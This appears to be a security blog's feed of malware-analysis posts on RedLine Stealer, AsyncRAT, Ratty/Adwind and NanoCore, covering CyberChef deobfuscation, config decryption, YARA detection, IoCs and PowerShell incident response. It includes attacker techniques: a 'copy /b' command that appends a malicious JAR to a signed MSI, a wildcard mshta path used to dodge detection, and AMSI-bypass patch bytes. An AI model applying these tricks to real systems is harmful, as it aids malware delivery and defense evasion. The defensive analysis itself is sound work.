For those seeking a deeper understanding of the unpacking process, manual debugging using dnSpyEx provides invaluable insights. I am excited for next article as it will cover unpacking in details.

Stay tuned for our next article in this series, where we will explore this technique in detail.

🔍 Dive into the RedLine Stealer Infection Chain – Part 1

Tue, 30 Jan 2024 12:45:33 GMT

RedLine Stealer Infection Chain:

Zip ➡️ LNK PS ➡️ mshta (URL1) ➡️ PS ➡️ cmd ➡️ PS ➡️ URL2 ➡️ exe

What’s Inside:

LNK using \W*\\2\\msh*e to dodge detection
VBScript analysis using CyberChef & Wscript.Echo
Utilize CyberChef recipe to decode VBScript & PowerShell
How to deobfuscate PowerShell with PowerShell logging

RedLine Stealer Infection chain process tree

What is RedLine Stealer?

According to malpedia, RedLine Stealer is a malware available on underground forums for sale apparently as standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. More recent versions of RedLine added the ability to steal cryptocurrency.

This malware is always in last week’s top 10 according to ANY.RUN.

Any run top 10

If you want to follow along, please downlaod the files from MalwareBazaar.

086F03FD9AC1C3C8CFB239AE987E3BD5 PRODUCT DESIGN AND SPECIFICATION.zip --> 8D35E46911450C731F76F311BAAD7EF0 PRODUCT DESIGN AND SPECIFICATION.lnk --> D88EE271FCA9CC237C2C5A8EFCC744DB line.hta --> 5E3B97C3D2825D9D448AB145C6F0FB64 line.exe

1. The Zip File Containing the LNK:

LNK uses PowerShell to execute mshta.exe.
Executes the HTA from the URL present inside the LNK file.
Uses \W*\\2\\msh*einstead of mshta.exe, to evade static detection 💡.
In simple terms \W*\\2\\msh*e points to C:\Windows\System32\mshta.exe

RedLine Infection Chain Step 1

2. HTA uses VBScript ‘chr’ function to obfuscatation:

chr returns the character represented by an Ascii code. e.g. Chr(65) will return ‘A’. Let’s try to decode using CyberChef recipe then use alternate method using Wscript.Echo.

HTA file content

2.1. Decoding the Obfuscated VBScript:

Copy the obfuscated VBScript from HTA file to CyberChef Input.

Then load the below VBScript deobfuscation CyberChef recipe to decode VBScript.

CyberChef Recipe:

Find_/_Replace({'option':'Simple string','string':'&H'},'0x',true,false,true,false
Subsection('chr\\(\\d+-\\((0x[A-Fa-f0-9]+)\\)\\)',true,true,false)
From_Base(16)
Merge(true)
Find_/_Replace({'option':'Simple string','string':'-('},':',true,false,true,false)
Find_/_Replace({'option':'Simple string','string':'))'},')',true,false,true,false)
Regular_expression('User defined','chr\\(([^)]+)\\)',true,true,false,false,false,false,'List capture groups')
Fork('\\n','',false)
Subtract('Colon')
From_Decimal('Space',false)

It will look like this as shown below. If you want to learn about this CyberChef recipe, please read this Deobfuscate Script using CyberChef – Recipe 0x3.

CyberChef Recipe decode VBScript

2.2 Alternatively, decode VBScript using Wscript.Echo

Save the VBScript from HTA file to new file named extracted_from_hta.vbs
Replace Execute with Wscript.Echo in the new VBS file
Execute the above file with cscript.exe, & you will see the deobfuscated script

Deobfuscate VBScript using cscript

3. Deobfuscate the PowerShell using Write-Host or PowerShell Logging

Extract the PowerShell code from deobfusacted VBScript present in line.hta. This PowerShell utilize AES decryption along with Gzip decompress, then execute the 2nd stage PowerShell.

Using Write-Host at the bottom we can dump the code.

PowerShell Stage1 to Stage2

Or, If PowerShell module logging is enabled, then we can see the 2nd stage PowerShell in event log.

Deobfuscate using PowerShell logging

If you want to read more about “Deobfuscate PowerShell using PowerShell Logging”, check this Deobfuscate PowerShell using PowerShell Logging article.

4. Decoding the stage 2 PowerShell Using CyberChef

PowerShell is using Ddy function to decode the array by subtracting 7390.

RedLine Stealer Stage 2 PowerShell beautify script

We can use CyberChef subsection operation to select the data array, then use subtract operation and From Decimal to decode the string.

I will recommend to read this Deobfuscate PowerShell using subtract CyberChef Recipe 0x4 for details regarding CyberChef Recipe.

CyberChef Recipe:

Generic_Code_Beautify()
Subsection('@\\([^)]*\\)',true,true,false)
Find_/_Replace({'option':'Regex','string':'[@()]'},'',true,false,true,false)
Find_/_Replace({'option':'Regex','string':','},'\\n',true,false,true,false)
Find_/_Replace({'option':'Regex','string':'$'},',7390',true,false,true,false)
Fork('\\n','',false)
Subtract('Comma')
From_Decimal('Space',false)
Merge(true)
Find_/_Replace({'option':'Regex','string':'Ddy'},'',true,false,true,false)
Syntax_highlighter('powershell')

Decoded Stage 2 PowerShell with CyberChef

Now we have decoded the final stage of PowerShell and can read the script to understand its working. Stay tuned for unpacking RedLine Stealer’s final payload and config extraction in the next post.

Linux Cheat Sheet

Fri, 26 Jan 2024 02:05:28 GMT

I frequently leverage the following Linux commands in my daily work, and I’m excited to share them with you in this cheat sheet. As I continue to learn and explore, I’ll be updating this resource regularly.

It’s worth noting that I’ve tested all the commands on Debian-based Linux systems, particularly Ubuntu.

Feel free to bookmark this page for future reference and stay tuned for regular updates!

Navigation/Editing

Ctrl + a – Go to start of line
Ctrl + e – Go to end of line
Ctrl + u – Cut from start of line
Ctrl + k – Cut to end of line
Ctrl + w – Cut the word before the cursor
Ctrl + y – Paste the last cut text
Ctrl + L – Clear the screen

History

Ctrl + r – Search history
!! -Repeat last cmd
!abc – Run last command starting with abc

Misc Commands

sudo shutdown -h now – Shutdown system now
sudo shutdown -r now – Reboot system now

Resources

All credit for these commands goes to the creators behind the below cheatsheet, and I’m grateful for their contribution to the community.

Vim Cheat Sheet

Sun, 21 Jan 2024 01:19:58 GMT

Mastering Vim has been both challenging and rewarding. In this evolving cheat sheet, I share frequently used shortcuts seamlessly integrated into my VSCode and Obsidian workflow. Here are key commands that have proven invaluable in my ongoing Vim journey.

Cursor Movement

h – move cursor left
j – move cursor down
k – move cursor up
l – move cursor right
f/F<char> – move to next( or previous) occurrence of character
0 – jump to the start of the line
$ – jump to the end of the line
gg – go to the first line of the document
G – go to the last line of the document
w – jump forwards to the start of a word
W – jump forwards to the start of a word (words can contain punctuation)
Ctrl + b – move screen up one page (cursor to last line)
Ctrl + f – move screen down one page (cursor to first line)

Editing

. – repeat last command
u – undo
Ctrl + r – redo
r – replace a single character.
R – replace more than one character, until ESC is pressed.

Cut & Paste

yy – yank (copy) a line
2yy -yank (copy) 2 lines
yw – copy word
p – put (paste) the clipboard after cursor

d$ or D – delete (cut) to the end of the line
dd – delete a line
2dd – delete 2 lines
dw – delete word
d2w – delete 2 words
di' – delete inside ‘
x – delete (cut) character
:g/{pattern}/d – delete all lines containing pattern
:g!/{pattern}/d – delete all lines not containing pattern

Search & replace

/pattern – search for pattern
?pattern – search backward for pattern
\vpattern – ‘very magic’ pattern: non-alphanumeric characters are interpreted as special regex symbols (no escaping needed)
n – repeat search in same direction
N – repeat search in opposite direction
:%s/old/new/g – replace all old with new throughout file
:%s/old/new/gc – replace all old with new throughout file with confirmations
:noh – remove highlighting of search matches

Tips

Use this to see help for cmd :help w
Prefix a cursor movement command with a number to repeat it. For example, 4j moves down 4 lines.
W– Much faster than w

Resources

All credit for these commands goes to the creators behind the below cheatsheet, and I’m grateful for their contribution to the Vim community.

Comprehensive cheatsheet

Deobfuscate PowerShell using subtract – CyberChef Recipe 0x4

Wed, 10 Jan 2024 07:05:49 GMT

In this quick blog post, we’ll explore the various combination of CyberChef operations e.g Generic code Beautify, Subsection, Fork, Subtract etc. to deobfuscate the second-stage PowerShell script used in the RedLine stealer infection chain.

The PowerShell contain multiple array consist of integer. It employs a straightforward function to decode the array by subtracting 7390 from each element.

CyberChef Recipe Overview

Utilize subsection regex to capture the integer array after @ e.g. @(7436, 7490, 7498, 7498). Now we can execute operations on this part of the script
Cleanup this subsection using Find/Replace operation
Use the Find/Replace operation to replace ‘$’ with ‘,’ and ‘7390’. This “,” delimiter used in below subtract operation
Apply subtract operation (Delimiter ,) and using From Decimal to deobfuscate PowerShell script. This is similar to CyberChef Recipe 0x3.

Input required

Feel free to follow along by copying the obfuscated VBScript input from my GitHub link.

CyberChef Input Obfuscated PowerShell

Output

After loading the CyberChef recipe, your script should look like the image below.

Stage 2 PowerShell deobfuscated

CyberChef Recipe

Generic_Code_Beautify() Subsection('@\$[^)]*\$',true,true,false) Find_/_Replace({'option':'Regex','string':'[@()]'},'',true,false,true,false) Find_/_Replace({'option':'Regex','string':','},'\\n',true,false,true,false) Find_/_Replace({'option':'Regex','string':'$'},',7390',true,false,true,false) Fork('\\n','',false) Subtract('Comma') From_Decimal('Space',false) Merge(true) Find_/_Replace({'option':'Regex','string':'Ddy'},'',true,false,true,false) Syntax_highlighter('powershell')

Deobfuscate Script using CyberChef – Recipe 0x3

Tue, 17 Oct 2023 15:39:14 GMT

In this quick blog post, we’ll explore the various combination of CyberChef operations e.g Subsection, From Base, Fork etc for deobfuscating VBScript used in the RedLine stealer infection chain.

VBScript often employs the ‘chr’ function to obfuscate its code, where ‘chr’ converts Ascii codes to characters e.g. Chr(65) will return ‘A’. In this script it uses simple subtraction before converting the character to Ascii using chr.

Our goal is to demonstrate various CyberChef operations that help us clean up and understand this malicious code effectively.

CyberChef Recipe Overview

Replace ‘&H’ with ‘0x’ using the Find/Replace operation.
Utilize subsection regex to capture the hex part inside chr e.g. chr(303-(0xE9)). Now we can execute other operations on this part of the script
Convert this hex to decimal using the ‘From Base’ operation.
Use regex to capture the part inside chr
Apply subtract operation (Delimiter :) and using From Decimal to deobfuscate the script.

Input

Feel free to follow along by copying the obfuscated VBScript input from my GitHub link.

Input Obfuscated Script

Output

After loading the CyberChef recipe, your script should look like the image below.

CyberChef Recipe decode VBScript

CyberChef Recipe for Deobfuscation

Find_/_Replace({'option':'Simple string','string':'&H'},'0x',true,false,true,false) Subsection('chr\$\\d+-\\((0x[A-Fa-f0-9]+)\$\\)',true,true,false) From_Base(16) Merge(true) Find_/_Replace({'option':'Simple string','string':'-('},':',true,false,true,false) Find_/_Replace({'option':'Simple string','string':'))'},')',true,false,true,false) Regular_expression('User defined','chr\$([^)]+)\$',true,true,false,false,false,false,'List capture groups') Fork('\\n','',false) Subtract('Colon') From_Decimal('Space',false)

According to a recent announcement, Microsoft has stated that VBScript will be removed from Windows in a future release, which is a positive development for us. However, the CyberChef operations mentioned above will still be useful.

AsyncRAT config decryption using CyberChef – Recipe 0x2

Mon, 07 Aug 2023 15:17:19 GMT

In the realm of malware analysis, tools like CyberChef play a pivotal role. One of the challenges that malware analysts often face is decrypting configurations of Remote Access Trojans (RATs) like AsyncRAT. This article provides a step-by-step guide on how to decrypt AsyncRAT configurations using CyberChef.

Decrypting AsyncRAT Configurations

AsyncRAT is a notorious RAT that enables attackers to remotely control infected systems. Decrypting its configurations can be a daunting task, but with the right tools and techniques, it’s achievable.

For those keen on exploring more about config decryption techniques, I recommend diving into my previous article.

CyberChef Recipe for AsyncRAT config decryption

Regular_expression('User defined','public static string \\w+\\s+\\=[ "0-9a-zA-Z+/=]{12,}',true,true,false,false,false,false,'List matches') Find_/_Replace({'option':'Simple string','string':'public static string '},'',true,false,true,false) Register('([\\s\\S]*)',true,false,false) Comment('Input: In the filter operation box below, add the variable name that stores the AES key, e.g. Key') Filter('Line feed','',false) Regular_expression('User defined','(?<=\\")(.+?)(?=\\")',true,true,false,false,false,false,'List matches') Register('([\\s\\S]*)',true,false,false) Comment('Input: If you don\'t know the salt value, then try using the following salts. Don\'t forget to select the proper salt format HEX or UTF8.\n\nI have encountered only 2 salts for AsyncRAT:\n\nbfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941 (Format: HEX)\n\nDcRatByqwqdanchun (Format: UTF8)') Derive_PBKDF2_key({'option':'Base64','string':'$R1'},256,50000,'SHA1',{'option':'Hex','string':''}) Register('([\\s\\S]*)',true,false,false) Find_/_Replace({'option':'Regex','string':'.*'},'$R0',false,false,false,true) Comment('Input: In the filter operation box below, add the variable name that stores the AES key, e.g. Key') Filter('Line feed','',true) Subsection('(?<=\\")([0-9a-zA-Z+/=]{32,})(?=\\")',true,true,false) Fork('\\n','\\n',false) From_Base64('A-Za-z0-9+/=',true,false) To_Hex('None',0) Drop_bytes(0,64,false) Register('(.{32})(.*)',true,false,false) Drop_bytes(0,32,false) AES_Decrypt({'option':'Hex','string':'$R2'},{'option':'Hex','string':'$R3'},'CBC','Hex','Raw',{'option':'Hex','string':''},{'option':'Hex','string':''}) Merge(true) Find_/_Replace({'option':'Regex','string':'$'},'\\nAES_KEY = "$R2"',false,false,false,true)

Input required

The AsyncRAT line of code which contain encrypted setting
Salt
- bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941 (Format: HEX)
- DcRatByqwqdanchun (Format: UTF8)
The variable name that stores the AES key

Md5: 37e965330586a51125db2a420917db17

Follow the steps below to decrypt AsyncRAT configurations:

Step 1

Load the file in dnSpyEx. After loading the assembly, right click & select ‘Go to Entry point‘. Navigate to the first function present inside if () i.e. Settings.InitializeSettings(). Click on this function to navigate to the definition of this function in the Settings class.

AsyncRAT Step 1

Step 2

Navigate to the Setting class and copy all public static declarations to CyberChef.

AsyncRAT Setting class Step 2

Step 3

Load the CyberChef recipe and the public static string block of code. The variable name ‘Key’ will be used in Step 4

AsyncRAT CyberChef recipe Load Step 3

Step 4

Add the AES key variable name from the previous step. Note: Comments have been added in this CyberChef recipe for clarity.

Step 5

Input the salt and select utf-8, or try both salts, one should work. For more details read the comment in the recipe.

AsyncRAT CyberChef recipe Step 4 and Step 5

Last Step

Add the same AES key variable name from the previous steps. Click ‘Bake’; it should decrypt the config.

AsyncRAT CyberChef Recipe last step

Conclusion

Decrypting AsyncRAT configurations can be a complex task, but with the right tools and recipes, it becomes manageable. CyberChef, with its versatile set of operations, is an excellent tool for this job. We hope this guide helps you in your malware analysis endeavors, especially when dealing with AsyncRAT.

Note: This recipe was initially developed by Srujan Kumar. I have made few modifications to support the new AsyncRAT files.

AsyncRAT: Config Decryption Techniques and Salt Analysis

Sat, 05 Aug 2023 06:42:20 GMT

In this article, we dive into the inner workings of AsyncRAT. This Remote Access Trojan (RAT) has seen a staggering 20% surge in its activity during the last quarter, as reported by the Spamhaus report.

We’ll explore diverse decryption methods for the AsyncRAT configuration and explore the AES Salts used in various files.

What is AsyncRAT?

AsyncRAT is a Remote Access Tool (RAT) designed to remotely monitor and control other computers through a secure encrypted connection. It is an open source remote administration tool, however, it could also be used maliciously because it provides functionality such as keylogger, remote desktop control, and many other functions. (Source: Malpedia)

Delivery Methods: How Malware Spreads

Spear-phishing, malvertising, exploit kit, and other techniques serve as delivery methods for this malware.

AsyncRAT Config Decryption via Static Extractors

Let’s dig deeper into decrypting the AsyncRAT configuration with static extractors like CyberChef Recipe and Python script.

Decryption Code for AsyncRAT

CyberChef Recipe

One of the most efficient ways to decode the AsyncRAT config is by using the CyberChef Recipe developed by Srujan Kumar. I have made few modifications to existing recipe which support new AsyncRAT files.

The updated recipe, available on GitHub, works by decoding the AsyncRAT config. You need the code, salt, and variable name that stores the AES key. My research suggests that the current AsyncRAT samples predominantly use two salts.

For a step-by-step guide to use CyberChef to decrypt the AsyncRAT, check this article.

Python Script

Abdallah Elnoty has developed a small python script to decode the config. You can find all the details in this article (Feb 2022).

Dynamic Approach: Reflection in PowerShell

For those who prefer a more dynamic approach, @vinopaljiri has shared an innovative technique for config decoding. This method involves using reflection and PowerShell to load the binary and then invoke the InitializeSettings method, providing a quick and efficient approach. You can find more details here.

AsyncRAT Analysis: AES Salt

In my analysis of approximately 10-20 files, , I encountered only two distinct salts for AsyncRAT. You can find more details on my Github page.

AsyncRAT Salt list with hashes

Salt 1: bfeb1e56fbcd973bb219022430a57843003d5644d21e62b9d4f180e7e6c33941 (Format: HEX)

This salt is referenced in the AsyncRAT source code available on Github (Last commit: May 10, 2020). It is also utilized in Quasar RAT 1.3, as indicated in the QuasarRAT-Analysis from December 1, 2020.

Salt 2: DcRatByqwqdanchun (Format: UTF8)

This salt is also used by DcRat malware (First commit: Mar 20, 2021).

Conclusion

These techniques are still effective on unpacked files, with some minor modifications. In the next blog post, we will delve deeper into CyberChef recipe and dynamic approach. Stay tuned!

Converting Integers to Hex with CyberChef – Recipe 0x1

Fri, 14 Jul 2023 15:52:55 GMT

While analyzing malware, it’s common to encounter situations where you need to disassemble code sourced from an integer array. However, when you attempt to use the ‘To Hex’ function in CyberChef, it won’t work.

The solution is to employ the ‘To Base’ operation with a radix value of 16.

I was working on an initial .NET file that drops AsyncRAT. It contains following code to evade AMSI and found this sample from OALABS Twitch stream.

SHA256
43cc6ed0dcd1fa220283f7bbfa79aaf6342fdb5e73cdabdde67debb7e2ffc945

For a quick guide to converting the integer array into Hex, padding zeros, and disassembling the code using CyberChef tool, follow the steps detailed below.

Update:
Reddit pimmytrousers suggested the simple method to use From Decimal , update the below recipe with the same. Thank you for suggestion.

.NET code for AMSI Bypass

Complete CyberChef Recipe

From_Decimal('Comma',false) To_Hex('Space',0) Disassemble_x86('32','Full x86 architecture',16,0,true,true)

Step 1

Using the To Decimal operation with a delimiter ,.

Step 2

Use the To Hex operation with delimiter Space to convert this in hex format.

CyberChef recipe step 2

Final step

Then, you can either leverage an online disassembler or the built-in CyberChef Disassemble x86 operation to get the final result.

CyberChef recipe final step

This is another method to do the same thing, but it requires more operations. Use the above recipe to decode it.

Complete CyberChef Recipe

Fork(',',' ',false) To_Base(16) Merge(true) Find_/_Replace({'option':'Regex','string':'\\b(\\w)\\b'},'0$1',true,false,true,false) Disassemble_x86('32','Full x86 architecture',16,0,true,true)

Step 1

Input:
184, 87, 0, 7, 128, 195

We’ll employ the Fork operation to separate the input based on the ‘,’ delimiter, then proceed to run the next operation on each individual integer.

Step 1 CyberChef Recipe using Fork

Step 2

Using the To Base operation with a radix of 16, convert the integers to hex. Then, use the Merge operation to consolidate all the inputs into a single string.

Step 2 - CyberChef using To Base

Final step

Upon completion of the previous steps, it’s likely that some of the hex bytes are missing a leading zero.

b8 57 0 7 80 c3

Let’s fix this using a simple regex \b(\w)\b to detect single characters and replace the matches with 0$1 to add an extra zero in front.

Once adjusted, you can either leverage an online disassembler or the built-in CyberChef Disassemble x86 operation.

And there we have it – our integer array has been decoded to code:
b8 57 00 07 80 mov eax,0x80070057 c3 ret

This code helps in AMSI bypass, for more details please read this AMSI Bypass Using Memory Patching

Interesting tactic by Ratty & Adwind for distribution of JAR appended to signed MSI – CVE-2020-1464

Sun, 28 Jun 2020 07:45:37 GMT

This article discusses an interesting tactic actively used by different Java RAT malware authors like Ratty & Adwind to distribute malicious JAR appended to signed MSI files. This technique was discovered by VT Team in Aug 2018^[9] but that time it was not used by malware authors to distribute malicious JAR files. Thanks to EKTracker tweet^[1], where I found this interesting Ratty hashes using this technique.

Our goal is to understand the unique technique instead of analysing the Java RAT.

1/ Interesting technique used by #Ratty sample for distribution of malicious JAR(zip) appended to MSI
So when the OS sees jar ext it executes jre to handle the file, but unique about zip files are read from bottom to top so jar is executed instead of msi file, details below https://t.co/3u7487kUZy pic.twitter.com/jZw9s07X5z

— Securityinbits (@Securityinbits) June 12, 2020

Overview of ZIP, JAR & MSI file format
How does it work?
Analysis of JAR appended to signed MSI files using Ratty RAT
Timeline
Conclusion
Yara Signature
Indicator of Compromise
References

1. Overview of ZIP, JAR & MSI file format

Before we discuss the technique we need to understand some concepts regarding ZIP, JAR and Windows Installer MSI files. If you already know this, please skip to the next section.

ZIP

PE files are read from top to bottom but ZIP files are read from bottom to top due to their design. Some more details from Wikipedia^[2]

A directory is placed at the end of a ZIP file. This identifies what files are in the ZIP and identifies where in the ZIP that file is located. This allows ZIP readers to load the list of files without reading the entire ZIP archive. A ZIP file is correctly identified by the presence of an end of central directory record(EOCD) which is located at the end of the archive structure in order to allow the easy appending of new files.

Zip format from Wikipedia ^[2]

JAR

JAR files follow the zip format. Some more details from Wikipedia^[3]

A JAR (Java ARchive) is a package file format typically used to aggregate many Java class files and associated metadata and resources (text, images, etc.) into one file for distribution.
JAR files are archive files that include a Java-specific manifest file. They are built on the ZIP format and typically have a .jar file extension.

MSI or Windows Installer

MSI file follows Compound File/Composite Document File V2 Document/Object Linking and Embedding (OLE). A compound file is a structure that is used to store a hierarchy of storage objects and stream objects into a single file or memory buffer. oletools and oledump can be used to browse the structure of MSI files^[5]. We will not go in so much detail of OLE file.

2. How does it work?

Malware author takes two files, one is a clean digital signed MSI file let say with filename clean_signed.msi and other is malicious JAVA RAT malware filename malicious.jar.

Malicious JAR appended to signed MSI

Steps:

Malware author select a clean clean_signed.msi MSI file which is digitally code signed from Microsoft, Google etc. So maybe security control will not not scan the file due to it’s digital signature. The OS reads the file from top to bottom and see the digital signature, so everything is good till now.
Other malicious.jar is essentially a zip file which is read from bottom to top as discussed above.
On Microsoft Windows systems, the Java Runtime Environment’s installation program will register a default association for JAR files so that double-clicking a JAR file on the desktop will automatically run it.
Now, attackers just need to append the jar file to the MSI file and change the extension to jar.
Attackers can use this command copy /b clean_signed.msi + malicious.jar signed_malicious.jar to generate malicious signed file.
When the user executes the signed_malicious.jar, it will execute the malicious jar file as it’s read from bottom to top.

Why is digital signature still valid?

After the attacker creates the signed_malicious.jar the digital signature is still valid due to the reason mentioned in the VirusTotal blog post.

Code signing is the method of using a certificate-based digital signature to sign executables and scripts in order to verify the author’s identity and ensure that the code has not been changed or corrupted since it was signed by the author. This way, for example, if you modify the content or append any data to a signed Windows PE (.EXE) file the signature of the resulting file will not be valid for Microsoft Windows, as expected. This behaviour changes when you append any data to the end of a signed Windows Installer (.MSI), the resulting file will pass the verification process of Microsoft Windows and will show just the original signature as valid without any other warning.

3. Analysis of JAR appended to signed MSI files using Ratty RAT

We will analyse this Ratty 06-01-20.jar (MD5: 13a4072d8d0eba59712bb4ec251e0593) ^[10] but the same process is applicable for the Adwind sample.

1. Let’s start with checking the magic byte or file header of this file using file cmd and xxd. Please feel free to use any other hex viewer.

MSI header using file and xxd for Ratty

Based on the extension jar this file should have magic bytes for zip but the above figure shows the standard MSI file header with magic bytes D0 CF 11 E0 A1 B1 1A E1.

2. Now if you check the digital signature using properties it looks ok.

Ratty Digital Signature

Sigcheck on Ratty

But using Sigcheck will say “Signed but the filesize is invalid (the file is too large)“. This is another good detection point.

3. Investigating further using binwalk on this 06-01-20.jar file you will see it matches different zip signatures starting from offset 0xc600 as shown in the figure below.

binwalk Ratty output

Based on the output, you can easily guess there is a JAR appended to this MSI file.

4. If you dump some bytes at offset using xxd you will see a zip header.
xxd -s 0xc600 -l 0x100 06-01-20.jar

Hexdump at 0xc600

5. Let’s extract the JAR file from offset 0xc600 then use Bytecode Viewer to analyze the jar file. I am using dd for this but you can use any hex editor.

dd skip=0xc600 if=06-01-20.jar of=extracted_ratty.jar bs=1
If you are new to Java reversing or Bytecode Viewer, you may want to check this Pyrogenic/Qealler Infostealer static analysis – Part 0x1.

dd cmd for extracting Ratty jar

6. The extracted file is not packed so if you open the extracted_ratty.jar in Bytecode Viewer, you can see the decompiled Java Code.

Based on the package and folder structure this extracted_ratty.jar is based on this GitHub Ratty repo. I will not dig any further in this Ratty malware and decompiled Java code can be easily analysed.

Decompiled Ratty Code & Github repo

4. Timeline

This technique was discovered by VirusTotal team^[9]

VirusTotal posted a blog post^[6] about this technique and mentioned that it’s not being used massively to distribute malware.

There were two other notable blog posts^[7] ^[8] discussing VirusTotal blog.

All three blog posts gives a great explanation of this technique.

Malware author started using this technique for distribution of malicious Java RATs like Adwind and Ratty.

At last, Microsoft decided to fix this CVE-2020-1464 | Windows Spoofing Vulnerability. I suspect as malware authors started using this old bug which was discovered in Aug 2018, so Microsoft decided to fix it.

5. Conclusion

When I saw this interesting technique, I was puzzled.Hopefully, I have explained this technique detailed enough in this post.

Detection

Anomaly for extension not matching header is a good indicator to detect this technique and below yara rule can be used.
Check Sigcheck output “Signed but the filesize is invalid (the file is too large)” for digital signed files
AV may detect this suspicious behaviour of malicious JAR

Sharing Yara signature to detect this technique and IoCs below.

Update 17 Aug, 2020

Microsoft fixed this CVE-2020-1464 (Windows Spoofing Vulnerability) as malware authors started actively exploiting this old bug which was discovered in Aug 2018. If you are interested to also learn about technical analysis about GlueBall CVE-2020-1464, please check out the awesome article ^[13] by @TalBeerySec.
Brian Krebs posted an article ^[14] about this CVE-2020-1464 (GlueBall).

6. Yara Signature

rule jar_in_msi
{
    meta:
        description = "Detect jar appended to MSI"
        author = "Securityinbits"
        date = "2020-06-14"
        reference = "https://twitter.com/Securityinbits/status/1271406138588708866"
        hash_1 = "13a4072d8d0eba59712bb4ec251e0593"
        hash_2 = "63bed40e369b76379b47818ba912ee43"
        hash_3 = "85eb931d0d27179ae7c13085fb050b11"

    strings:
        $msi_magic = { D0 CF 11 E0 A1 B1 1A E1}

        //To detect zip Local file header(lfh) & End of central directory record(eocd)
        $s_zip_magic_lfh = {50 4B 03 04}
        $s_zip_magic_eocd = {50 4B 05 06}

        $s_jar = "META-INF/MANIFEST.MF"
        $s_java_class = ".class"

    condition:
        $msi_magic at 0 and filesize > 60KB and all of ($s_*) 
}

View on GitHub
Note: I haven’t checked this yara signature on a clean set of files so it may cause FP.

7. Indicator of Compromise(IOCs)

MD5

Ratty

13a4072d8d0eba59712bb4ec251e0593 -> This hash analysed in this post
63bed40e369b76379b47818ba912ee43
fa8118a9fa20a17018cb2f60fd28a5b7
4a3d69c28c4742177d6238bc16486f0d
48a5714147ee85374ab74174a82ab77a

Adwind

85eb931d0d27179ae7c13085fb050b11

Thanks to @c_APT_ure for sharing following hashes related to this technique

Ratty

800fbf461f13facf4799e96f5026fd47 shipment.label.jar
f3ea296ad35eec33ea436febd97ff0e2 Shipment-label.jar
80908e5e21c3aff7e8bcaccdbb99e02e 21-04-2020.jar
83aaba8a3cd871441d2c386aaa3ee0e0 TrackingOrder.jar
c50b8615b8d6613f92586224b15bc9ac tracking.update.jar
1eb30fec5a58dc7a6af2c17d7e8327d0 ups-label.jar
85e8e4e814c29ce8779772fca4df64d7 21-05-2020.jar
a49c0e0d1ca8a829a8175a3931e5cba1 a49c0e0d1ca8a829a8175a3931e5cba1.jar
4a2d5424f87d1d4cdcd8a9bea81d2e2a shipment.delivery.label.06-03.jar

Adwind, Thanks to @c_APT_ure for sharing the hashes

0559defe2122020a2733fafbd6443fd6 2.jar
7239fb81b1771e2aa38edbe0b68e40d5 CONFIRMATION_SWIFT.pdf.jar

8. References

Tweet by Ektracker
ZIP file format
JAR file format
Compound File Binary Format (CDF)
Analyzing MSI files
Distribution of malicious JAR appended to MSI files signed by third parties
Thoughts on the MSI/JAR Authenticode Bypass
Making Meterpreter Look Google-Signed (Using MSI & JAR Files)
Reply to the tweet by @bquintero
Hashes shared by @c_APT_ure
ANY.RUN– (MD5: 13a4072d8d0eba59712bb4ec251e0593) Ratty
Revamped jRAT Uses New Anti-Parsing Techniques
GlueBall: The story of CVE-2020–1464
Microsoft Put Off Fixing Zero Day for 2 Years by Brian Krebs

PowerShell Commands for Incident Response

Mon, 25 May 2020 02:33:51 GMT

We will learn different PowerShell Commands can be used in Incident Response to remediate the machine. I will take a real world scenario where a machine is infected with malware e.g. NanoCore RAT to explain this PowerShell Commands.

These commands can be very useful in a limited Windows environment where you don’t have access to tools like GNU core utilities, Python interpreters etc. If PowerShell remoting ^[2] is configured in your environment then you run these commands even on a remote infected machine from your clean machine.

Overview of PowerShell
Malware infection scenario- NanoCore
PowerShell Commands for Incident Response
Conclusion
References

Overview of PowerShell

From Microsoft^[1] – “PowerShell is a task-based command-line shell and scripting language built on .NET. PowerShell helps system administrators and power-users rapidly automate tasks that manage operating systems (Linux, macOS, and Windows) and processes”.

PowerShell is based on object not text. The output of a command is an object. You can send the output object, through the pipeline, to another command as its input. This pipeline provides a familiar interface for people experienced with other shells. PowerShell extends this concept by sending objects rather than text. These are two types of PowerShell:

PowerShell or PowerShell Core – This is the current/latest version and built on .NET core framework. It’s open-source and run on Windows, Linux, macOS and ARM. The latest version is PowerShell 7 and main focus is making it a viable replacement for Windows PowerShell 5.1. This version needs to be manually installed from Github releases pages^[3].
Windows PowerShell – This is a legacy version and built on the .NET Framework and only worked on Windows systems. This is default installed on Windows systems and the latest version is 5.1.

How to execute PowerShell?

Local Machine- Simplest way is to launch PowerShell via the start menu, select Windows PowerShell or PowerShell 7.
Remote Machine – Configure PowerShell remoting ^[2] in your environment then you run commands on the remote machine as shown below.

Execution of PowerShell Command in PS Remoting

Malware infection scenario – NanoCore

Suppose there is a NanoCore malware infection in our environment and we are at the eradication step of Incident Response. We will learn which PowerShell Commands can be used for Incident Response but it can be applicable to any malware family . To keep it simple, we will consider following points:

Only one Windows 10 machine is infected with NanoCore malware in our environment based on Network logs.
We have physical access to this machine so no need for PowerShell Remoting.
We have the copy of the initial NanoCore sample 0ed2be7c91efdb87c98084bb0a22d8d7 ^[4] which infected the machine, so we know the IoCs.

NanoCore IoCs

Drop RAVBg64.exe and bat files in $Env:TEMP
Create run.dat and other files in the GUID directory in $Env:APPDATA.
Create Persistency by creating autorun entry in HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
CC: anunankis3[.]duckdns[.]org

PowerShell Commands for Incident Response

The main goal of this Eradication step in Incident response is to remove all the malware artifacts from the system and verify if the system is completely cleaned or not.

One of the good things about PowerShell Commands is you don’t need to use different tools for working with files, registry or processes, all the things you can manage using inbuilt PowerShell cmdlets. All the PowerShell commands are tested on PowerShell 7 (or Core) but should work on Windows PowerShell 5.1.

Steps for removing NanoCore infection:

Check for malicious process
Terminate malicious process
Remove the persistency
Check for files in $env:APPDATA\GUID\
Get the Hashes of the files
Copy artifacts for analysis
Delete malware artifacts

1. Check for malicious process

We have to check if the malicious process RAVBg64.exe is currently executing from $env:TEMP directory or not. Get-Process cmdlet can be used to get currently executing processes as shown in the pic below.

Get-Process

Get-Process PowerShell cmdlet output

We know this RAVBg64 .exe process is executing as shown in the above image but we need to know the complete path to identify if it’s running from the temp directory.

Get-Process RAVBg64 | Select-Object Id, ProcessName, Path, Company, StartTime | Format-Table

